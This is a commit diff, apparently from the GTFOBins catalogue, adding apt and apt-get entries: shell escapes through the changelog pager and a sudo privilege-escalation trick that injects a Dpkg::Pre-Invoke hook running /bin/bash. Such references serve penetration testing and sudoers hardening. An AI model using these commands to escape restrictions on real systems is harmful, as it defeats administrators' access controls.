Add apt(-get) entries

This commit is contained in:
HugoDelval 2018-11-29 12:27:41 +01:00 committed by Hugo Delval
parent 2d3071ef55
commit 736f3482d3
2 changed files with 16 additions and 6 deletions

View File

@ -1,12 +1,17 @@
--- ---
description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
functions: functions:
shell: shell:
- code: | - description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
code: |
apt-get changelog apt apt-get changelog apt
!/bin/sh !/bin/sh
sudo: sudo:
- code: | - description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
code: |
sudo apt-get changelog apt sudo apt-get changelog apt
!/bin/sh !/bin/sh
- description: 'Sometimes, only some subcommands of `apt-get` are enabled by sysadmin in the sudoers file. When only `apt-get install *` is allowed, you can use:'
code: |
echo 'Dpkg::Pre-Invoke {"/bin/bash";};' > test.conf
sudo apt-get install -c ./test.conf sl
--- ---

View File

@ -1,12 +1,17 @@
--- ---
description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
functions: functions:
shell: shell:
- code: | - description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
code: |
apt-get changelog apt apt-get changelog apt
!/bin/sh !/bin/sh
sudo: sudo:
- code: | - description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
code: |
sudo apt-get changelog apt sudo apt-get changelog apt
!/bin/sh !/bin/sh
- description: 'Sometimes, only some subcommands of `apt` are enabled by sysadmin in the sudoers file. When only `apt install *` is allowed, you can use:'
code: |
echo 'Dpkg::Pre-Invoke {"/bin/bash";};' > test.conf
sudo apt install -c ./test.conf sl
--- ---